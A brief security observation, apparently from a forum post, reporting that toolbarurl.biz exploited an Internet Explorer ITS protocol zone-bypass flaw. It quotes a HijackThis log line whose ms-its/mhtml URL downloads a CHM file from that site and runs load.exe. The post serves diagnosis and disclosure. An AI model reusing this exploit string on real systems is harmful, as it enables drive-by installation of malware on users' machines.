toolbarurl.biz seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:
O16 - DPF: {11111111-1111-1111-1111-111111111157} - ms-its:mhtml:file://C:\nosuch.mht!http://toolbarurl.biz/dl/adv661/x.chm::/load.exe
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